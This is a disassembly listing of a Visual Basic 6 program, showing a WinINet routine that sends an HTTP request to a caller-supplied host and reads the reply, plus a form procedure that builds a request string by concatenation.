00403d75push edi
00403d76mov [ebp-24], esp
00403d79mov [ebp-20], 0x401180
00403d80mov [ebp-16], 0
00403d87mov [ebp-12], 0
00403d8emov eax, [ebp+8]
00403d91mov ecx, [eax]
00403d93mov edx, [ebp+8]
00403d96push edx
00403d97call [ecx+4]
00403d9amov [ebp-4], 1
00403da1mov eax, [ebp+24]
00403da4mov [eax], 0
00403daalea ecx, [ebp-36]
00403dadpush ecx
00403daepush 4096
00403db3call imp:msvbvm60!__vbaFixstrConstruct
00403db9mov [ebp-4], 2
00403dc0push -1
00403dc2call imp:msvbvm60!__vbaOnError
00403dc8mov [ebp-4], 3
00403dcflea edx, [ebp-108]
00403dd2push edx
00403dd3mov eax, [ebp+20]
00403dd6push eax
00403dd7mov ecx, [ebp+8]
00403ddamov edx, [ecx]
00403ddcmov eax, [ebp+8]
00403ddfpush eax
00403de0call [edx+1792]
00403de6lea ecx, [ebp-108]
00403de9push ecx
00403deacall imp:msvbvm60!__vbaStrVarMove
00403df0mov edx, eax
00403df2lea ecx, [ebp-44]
00403df5call imp:msvbvm60!__vbaStrMove
00403dfblea ecx, [ebp-108]
00403dfecall imp:msvbvm60!__vbaFreeVar
00403e04mov [ebp-4], 4
00403e0bmov [ebp-80], 0
00403e12mov [ebp-4], 5
00403e19mov [ebp-52], 0
00403e20mov [ebp-4], 6
00403e27mov [ebp-60], 0
00403e2emov [ebp-4], 7
00403e35push 0
00403e37push 0
00403e39push 0
00403e3bpush 0
00403e3dpush 0x40268c
00403e42lea edx, [ebp-84]
00403e45push edx
00403e46call imp:msvbvm60!__vbaStrToAnsi
00403e4cpush eax
00403e4dcall InternetOpenA
00403e52mov [ebp-164], eax
00403e58call imp:msvbvm60!__vbaSetSystemError
00403e5emov eax, [ebp-164]
00403e64mov [ebp-80], eax
00403e67lea ecx, [ebp-84]
00403e6acall imp:msvbvm60!__vbaFreeStr
00403e70mov [ebp-4], 8
00403e77cmp [ebp-80], 0
00403e7bje 0x404270
00403e81mov [ebp-4], 9
00403e88push 0
00403e8apush 0
00403e8cpush 3
00403e8epush 0x402f00
00403e93lea ecx, [ebp-88]
00403e96push ecx
00403e97call imp:msvbvm60!__vbaStrToAnsi
00403e9dpush eax
00403e9epush 0
00403ea0push 80
00403ea2mov edx, [ebp+12]
00403ea5mov eax, [edx]
00403ea7push eax
00403ea8lea ecx, [ebp-84]
00403eabpush ecx
00403eaccall imp:msvbvm60!__vbaStrToAnsi
00403eb2push eax
00403eb3mov edx, [ebp-80]
00403eb6push edx
00403eb7call InternetConnectA
00403ebcmov [ebp-164], eax
00403ec2call imp:msvbvm60!__vbaSetSystemError
00403ec8mov eax, [ebp-84]
00403ecbpush eax
00403eccmov ecx, [ebp+12]
00403ecfpush ecx
00403ed0call imp:msvbvm60!__vbaStrToUnicode
00403ed6mov edx, [ebp-164]
00403edcmov [ebp-52], edx
00403edflea eax, [ebp-88]
00403ee2push eax
00403ee3lea ecx, [ebp-84]
00403ee6push ecx
00403ee7push 2
00403ee9call imp:msvbvm60!__vbaFreeStrList
00403eefadd esp, 12
00403ef2mov [ebp-4], 10
00403ef9cmp [ebp-52], 0
00403efdje 0x404248
00403f03mov [ebp-4], 11
00403f0apush 0
00403f0cpush 0xffffffff80000000
00403f11push 0
00403f13push 0
00403f15push 0x402f00
00403f1alea edx, [ebp-92]
00403f1dpush edx
00403f1ecall imp:msvbvm60!__vbaStrToAnsi
00403f24push eax
00403f25mov eax, [ebp+16]
00403f28mov ecx, [eax]
00403f2apush ecx
00403f2blea edx, [ebp-88]
00403f2epush edx
00403f2fcall imp:msvbvm60!__vbaStrToAnsi
00403f35push eax
00403f36push 0x402f18
00403f3blea eax, [ebp-84]
00403f3epush eax
00403f3fcall imp:msvbvm60!__vbaStrToAnsi
00403f45push eax
00403f46mov ecx, [ebp-52]
00403f49push ecx
00403f4acall HttpOpenRequestA
00403f4fmov [ebp-164], eax
00403f55call imp:msvbvm60!__vbaSetSystemError
00403f5bmov edx, [ebp-88]
00403f5epush edx
00403f5fmov eax, [ebp+16]
00403f62push eax
00403f63call imp:msvbvm60!__vbaStrToUnicode
00403f69mov ecx, [ebp-164]
00403f6fmov [ebp-60], ecx
00403f72lea edx, [ebp-92]
00403f75push edx
00403f76lea eax, [ebp-88]
00403f79push eax
00403f7alea ecx, [ebp-84]
00403f7dpush ecx
00403f7epush 3
00403f80call imp:msvbvm60!__vbaFreeStrList
00403f86add esp, 16
00403f89mov [ebp-4], 12
00403f90cmp [ebp-60], 0
00403f94je 0x404220
00403f9amov [ebp-4], 13
00403fa1push 0x402f28
00403fa6push 0x402634
00403fabcall imp:msvbvm60!__vbaStrCat
00403fb1mov edx, eax
00403fb3lea ecx, [ebp-84]
00403fb6call imp:msvbvm60!__vbaStrMove
00403fbcpush eax
00403fbdpush 0x402f88
00403fc2call imp:msvbvm60!__vbaStrCat
00403fc8mov edx, eax
00403fcalea ecx, [ebp-76]
00403fcdcall imp:msvbvm60!__vbaStrMove
00403fd3lea ecx, [ebp-84]
00403fd6call imp:msvbvm60!__vbaFreeStr
00403fdcmov [ebp-4], 14
00403fe3mov edx, [ebp-44]
00403fe6push edx
00403fe7call imp:msvbvm60!__vbaLenBstr
00403fedmov [ebp-40], eax
00403ff0mov [ebp-4], 15
00403ff7mov eax, [ebp-40]
00403ffapush eax
00403ffbmov ecx, [ebp-44]
00403ffepush ecx
00403ffflea edx, [ebp-88]
00404002push edx
00404003call imp:msvbvm60!__vbaStrToAnsi
00404009push eax
0040400amov eax, [ebp-76]
0040400dpush eax
0040400ecall imp:msvbvm60!__vbaLenBstr
00404014push eax
00404015mov ecx, [ebp-76]
00404018push ecx
00404019lea edx, [ebp-84]
0040401cpush edx
0040401dcall imp:msvbvm60!__vbaStrToAnsi
00404023push eax
00404024mov eax, [ebp-60]
00404027push eax
00404028call HttpSendRequestA
0040402dmov [ebp-160], ax
00404034call imp:msvbvm60!__vbaSetSystemError
0040403amov ecx, [ebp-84]
0040403dpush ecx
0040403elea edx, [ebp-76]
00404041push edx
00404042call imp:msvbvm60!__vbaStrToUnicode
00404048mov eax, [ebp-88]
0040404bpush eax
0040404clea ecx, [ebp-44]
0040404fpush ecx
00404050call imp:msvbvm60!__vbaStrToUnicode
00404056mov dx, [ebp-160]
0040405dmov [ebp-68], dx
00404061lea eax, [ebp-88]
00404064push eax
00404065lea ecx, [ebp-84]
00404068push ecx
00404069push 2
0040406bcall imp:msvbvm60!__vbaFreeStrList
00404071add esp, 12
00404074mov [ebp-4], 16
0040407bmov [ebp-72], -1
00404081
00404081loc_404081:
00404081mov [ebp-4], 17
00404088movsx edx, [ebp-72]
0040408ctest edx, edx
0040408eje 0x4041e5
00404094mov [ebp-4], 18
0040409bpush 0
0040409dmov eax, [ebp-36]
004040a0push eax
004040a1push 0
004040a3call imp:msvbvm60!__vbaLsetFixstr
004040a9mov [ebp-4], 19
004040b0lea ecx, [ebp-64]
004040b3push ecx
004040b4mov edx, [ebp-36]
004040b7push edx
004040b8call imp:msvbvm60!__vbaLenBstr
004040bepush eax
004040bfmov eax, [ebp-36]
004040c2push eax
004040c3lea ecx, [ebp-84]
004040c6push ecx
004040c7call imp:msvbvm60!__vbaStrToAnsi
004040cdpush eax
004040cemov edx, [ebp-60]
004040d1push edx
004040d2call InternetReadFile
004040d7mov [ebp-160], ax
004040decall imp:msvbvm60!__vbaSetSystemError
004040e4mov eax, [ebp-84]
004040e7push eax
004040e8lea ecx, [ebp-88]
004040ebpush ecx
004040eccall imp:msvbvm60!__vbaStrToUnicode
004040f2push eax
004040f3mov edx, [ebp-36]
004040f6push edx
004040f7push 0
004040f9call imp:msvbvm60!__vbaLsetFixstr
004040ffxor eax, eax
00404101cmp [ebp-160], 0
00404109setne al
0040410cneg eax
0040410emov [ebp-72], ax
00404112lea ecx, [ebp-88]
00404115push ecx
00404116lea edx, [ebp-84]
00404119push edx
0040411apush 2
0040411ccall imp:msvbvm60!__vbaFreeStrList
00404122add esp, 12
00404125mov [ebp-4], 20
0040412cmov eax, [ebp-56]
0040412fmov [ebp-148], eax
00404135mov [ebp-156], 8
0040413fmov edx, [ebp-36]
00404142lea ecx, [ebp-84]
00404145call imp:msvbvm60!__vbaStrCopy
0040414blea ecx, [ebp-84]
0040414emov [ebp-132], ecx
00404154mov [ebp-140], 16392
0040415emov edx, [ebp-64]
00404161push edx
00404162lea eax, [ebp-140]
00404168push eax
00404169lea ecx, [ebp-108]
0040416cpush ecx
0040416dcall imp:msvbvm60!rtcLeftCharVar
00404173mov edx, [ebp-84]
00404176push edx
00404177mov eax, [ebp-36]
0040417apush eax
0040417bpush 0
0040417dcall imp:msvbvm60!__vbaLsetFixstr
00404183lea ecx, [ebp-156]
00404189push ecx
0040418alea edx, [ebp-108]
0040418dpush edx
0040418elea eax, [ebp-124]
00404191push eax
00404192call imp:msvbvm60!__vbaVarCat
00404198push eax
00404199call imp:msvbvm60!__vbaStrVarMove
0040419fmov edx, eax
004041a1lea ecx, [ebp-56]
004041a4call imp:msvbvm60!__vbaStrMove
004041aalea ecx, [ebp-84]
004041adcall imp:msvbvm60!__vbaFreeStr
004041b3lea ecx, [ebp-124]
004041b6push ecx
004041b7lea edx, [ebp-108]
004041bapush edx
004041bbpush 2
004041bdcall imp:msvbvm60!__vbaFreeVarList
004041c3add esp, 12
004041c6mov [ebp-4], 21
004041cdcmp [ebp-64], 0
004041d1jne 0x4041e0
004041d3mov [ebp-4], 22
004041damov [ebp-72], 0
004041e0
004041e0loc_4041e0:
004041e0jmp 0x404081
004041e5
004041e5loc_4041e5:
004041e5mov [ebp-4], 25
004041ecmov edx, [ebp-56]
004041eflea ecx, [ebp-48]
004041f2call imp:msvbvm60!__vbaStrCopy
004041f8mov [ebp-4], 26
004041ffmov eax, [ebp-60]
00404202push eax
00404203call InternetCloseHandle
00404208mov [ebp-160], ax
0040420fcall imp:msvbvm60!__vbaSetSystemError
00404215mov cx, [ebp-160]
0040421cmov [ebp-68], cx
00404220
00404220loc_404220:
00404220mov [ebp-4], 28
00404227mov edx, [ebp-52]
0040422apush edx
0040422bcall InternetCloseHandle
00404230mov [ebp-160], ax
00404237call imp:msvbvm60!__vbaSetSystemError
0040423dmov ax, [ebp-160]
00404244mov [ebp-68], ax
00404248
00404248loc_404248:
00404248mov [ebp-4], 30
0040424fmov ecx, [ebp-80]
00404252push ecx
00404253call InternetCloseHandle
00404258mov [ebp-160], ax
0040425fcall imp:msvbvm60!__vbaSetSystemError
00404265mov dx, [ebp-160]
0040426cmov [ebp-68], dx
00404270
00404270loc_404270:
00404270push 0x4042da
00404275jmp 0x4042b5
00404277
00404277 8b 45 f0 83 e0 04 85 c0 74 .E......t
00404280 09 8d 4d d0 ff 15 64 11 40 00 8d 4d a4 51 8d 55 ..M...d.@..M.Q.U
00404290 a8 52 8d 45 ac 50 6a 03 ff 15 08 11 40 00 83 c4 .R.E.Pj.....@...
004042a0 10 8d 4d 84 51 8d 55 94 52 6a 02 ff 15 18 10 40 ..M.Q.U.Rj.....@
004042b0 00 83 c4 0c c3 .....
004042b5
004042b5loc_4042b5:
004042b5lea ecx, [ebp-36]
004042b8call imp:msvbvm60!__vbaFreeStr
004042belea ecx, [ebp-44]
004042c1call imp:msvbvm60!__vbaFreeStr
004042c7lea ecx, [ebp-56]
004042cacall imp:msvbvm60!__vbaFreeStr
004042d0lea ecx, [ebp-76]
004042d3call imp:msvbvm60!__vbaFreeStr
004042d9ret
004042damov eax, [ebp+8]
004042ddmov ecx, [eax]
004042dfmov edx, [ebp+8]
004042e2push edx
004042e3call [ecx+8]
004042e6mov eax, [ebp+24]
004042e9mov ecx, [ebp-48]
004042ecmov [eax], ecx
004042eemov eax, [ebp-16]
004042f1mov ecx, [ebp-32]
004042f4mov [0x0], ecx
004042fbpop edi
004042fcpop esi
004042fdpop ebx
004042femov esp, ebp
00404300pop ebp
00404301ret 20
00403d50

00404304
00404304 // align 0x10

00404310
00404310frmMain.proc_448:
00404310push ebp
00404311mov ebp, esp
00404313sub esp, 12
00404316push 0x4014a6
0040431bmov eax, [0x0]
00404321push eax
00404322mov [0x0], esp
00404329sub esp, 56
0040432cpush ebx
0040432dpush esi
0040432epush edi
0040432fmov [ebp-12], esp
00404332mov [ebp-8], 0x401220
00404339mov ecx, [ebp+16]
0040433cmov esi, imp:msvbvm60!__vbaStrCat
00404342xor eax, eax
00404344push eax
00404345push 0x402f94
0040434amov [ebp-24], eax
0040434dmov [ebp-40], eax
00404350mov [ebp-44], eax
00404353mov [ebp-48], eax
00404356mov [ebp-52], eax
00404359mov [ebp-68], eax
0040435cmov [ecx], eax
0040435ecall esi
00404360mov edi, imp:msvbvm60!__vbaStrMove
00404366mov edx, eax
00404368lea ecx, [ebp-44]
0040436bcall edi
0040436dpush eax
0040436epush 0x402634
00404373call esi
00404375mov edx, eax
00404377lea ecx, [ebp-48]
0040437acall edi
0040437cpush eax
0040437dpush 0x402f88
00404382call esi
00404384mov edx, eax
00404386lea ecx, [ebp-24]
00404389call edi
0040438bmov ebx, imp:msvbvm60!__vbaFreeStrList
00404391lea edx, [ebp-48]
00404394lea eax, [ebp-44]
00404397push edx
00404398push eax
00404399push 2
0040439bcall ebx
0040439dmov ecx, [ebp-24]
004043a0add esp, 12
004043a3push ecx
004043a4push 0x402fa0
004043a9call esi
004043abmov edx, eax
004043adlea ecx, [ebp-44]
004043b0call edi
004043b2push eax
004043b3push 0x402f88
004043b8call esi
004043bamov edx, eax
004043bclea ecx, [ebp-24]
004043bfcall edi
004043c1lea ecx, [ebp-44]
004043c4call imp:msvbvm60!__vbaFreeStr
004043camov edx, [ebp-24]
004043cdpush edx
004043cepush 0x402f88
004043d3call esi
004043d5mov edx, eax
004043d7lea ecx, [ebp-24]
004043dacall edi
004043dcmov ecx, [ebp+8]
004043dfmov eax, [ebp-24]
004043e2push eax
004043e3mov edx, [ecx+56]
004043e6push edx
004043e7call esi
004043e9mov edx, eax
004043eblea ecx, [ebp-24]
004043eecall edi
004043f0mov eax, [ebp-24]
004043f3push eax
004043f4push 0x402f88
004043f9call esi
004043fbmov edx, eax
004043fdlea ecx, [ebp-24]
00404400call edi
00404402mov ecx, [ebp-24]
00404405push ecx
00404406push 0x402f94
0040440bcall esi
0040440dmov edx, eax
0040440flea ecx, [ebp-44]
00404412call edi
00404414push eax
00404415push 0x402634
0040441acall esi
0040441cmov edx, eax
0040441elea ecx, [ebp-48]
00404421call edi
00404423push eax
00404424push 0x402f88
00404429call esi
0040442bmov edx, eax
0040442dlea ecx, [ebp-24]
00404430call edi
00404432lea edx, [ebp-48]
00404435lea eax, [ebp-44]
00404438push edx
00404439push eax
0040443apush 2
0040443ccall ebx
0040443emov ecx, [ebp-24]
00404441add esp, 12
00404444push ecx
00404445push 0x403050
0040444acall esi
0040444cmov edx, eax
0040444elea ecx, [ebp-44]
00404451call edi
00404453mov edx, [ebp+12]
00404456push eax
00404457mov eax, [edx]
00404459push eax
0040445acall esi
0040445cmov edx, eax
0040445elea ecx, [ebp-48]
00404461call edi
00404463push eax
00404464push 0x4030cc
00404469call esi
0040446bmov edx, eax
0040446dlea ecx, [ebp-52]
00404470call edi
00404472push eax
00404473push 0x402f88
00404478call esi
0040447amov edx, eax
0040447clea ecx, [ebp-24]
0040447fcall edi
00404481lea ecx, [ebp-52]
00404484lea edx, [ebp-48]
00404487push ecx
00404488lea eax, [ebp-44]
0040448bpush edx
0040448cpush eax
0040448dpush 3
0040448fcall ebx
00404491mov ecx, [ebp-24]
00404494add esp, 16
00404497push ecx
00404498push 0x4030d4
0040449dcall esi
0040449fmov edx, eax
004044a1lea ecx, [ebp-44]
004044a4call edi
004044a6push eax
004044a7push 0x402f88
004044accall esi
004044aemov edx, eax
004044b0lea ecx, [ebp-24]
004044b3call edi
004044b5lea ecx, [ebp-44]
004044b8call imp:msvbvm60!__vbaFreeStr
004044bemov edx, [ebp-24]
004044c1push edx
004044c2push 0x402f88
004044c7call esi
004044c9mov edx, eax
004044cblea ecx, [ebp-24]
004044cecall edi
004044d0mov eax, [ebp+8]
004044d3lea edx, [ebp-44]
004044d6push edx
004044d7mov edx, [ebp+12]
004044damov ecx, [eax]
004044dcpush edx
004044ddpush eax
004044decall [ecx+1796]
004044e4mov eax, [ebp-24]
004044e7mov ecx, [ebp-44]
004044eapush eax
004044ebpush ecx
004044eccall esi
004044eemov edx, eax
004044f0lea ecx, [ebp-48]
004044f3call edi
004044f5push eax
004044f6push 0x402f88
004044fbcall esi
004044fdmov edx, eax
004044fflea ecx, [ebp-24]
00404502call edi
00404504lea edx, [ebp-48]
00404507lea eax, [ebp-44]
0040450apush edx
0040450bpush eax
0040450cpush 2
0040450ecall ebx
00404510mov ecx, [ebp-24]
00404513add esp, 12
00404516push ecx
00404517push 0x402f94
0040451ccall esi
0040451emov edx, eax
00404520lea ecx, [ebp-44]
00404523call edi
00404525push eax
00404526push 0x402634
0040452bcall esi
0040452dmov edx, eax
0040452flea ecx, [ebp-48]
00404532call edi
00404534push eax
00404535push 0x402f94
0040453acall esi
0040453cmov edx, eax
0040453elea ecx, [ebp-52]
00404541call edi
00404543push eax
00404544push 0x402f88
00404549call esi
0040454bmov edx, eax
0040454dlea ecx, [ebp-24]
00404550call edi
00404552lea edx, [ebp-52]
00404555lea eax, [ebp-48]
00404558push edx
00404559lea ecx, [ebp-44]
0040455cpush eax
0040455dpush ecx
0040455epush 3
00404560call ebx
00404562mov edx, [ebp-24]
00404565add esp, 16
00404568mov [ebp-60], edx
0040456blea edx, [ebp-68]
0040456elea ecx, [ebp-40]
00404571mov [ebp-68], 8
00404578call imp:msvbvm60!__vbaVarCopy
0040457epush 0x4045b6
00404583jmp 0x4045ac
00404585
00404585 f6 45 fc 04 74 09 8d 4d d8 ff 15 .E..t..M...
00404590 0c 10 40 00 8d 45 cc 8d 4d d0 50 8d 55 d4 51 52 ..@..E..M.P.U.QR
004045a0 6a 03 ff 15 08 11 40 00 83 c4 10 c3 j.....@.....
004045ac
004045acloc_4045ac:
004045aclea ecx, [ebp-24]
004045afcall imp:msvbvm60!__vbaFreeStr
004045b5ret
004045b6mov eax, [ebp+16]
004045b9mov ecx, [ebp-40]
004045bcmov edx, [ebp-36]
004045bfpop edi
004045c0mov [eax], ecx
004045c2mov ecx, [ebp-32]
004045c5pop esi
004045c6pop ebx
004045c7mov [eax+4], edx
004045camov edx, [ebp-28]
004045cdmov [eax+8], ecx
004045d0mov ecx, [ebp-20]
004045d3mov [eax+12], edx
004045d6xor eax, eax
004045d8mov [0x0], ecx
004045dfmov esp, ebp
004045e1pop ebp
004045e2ret 12
00404310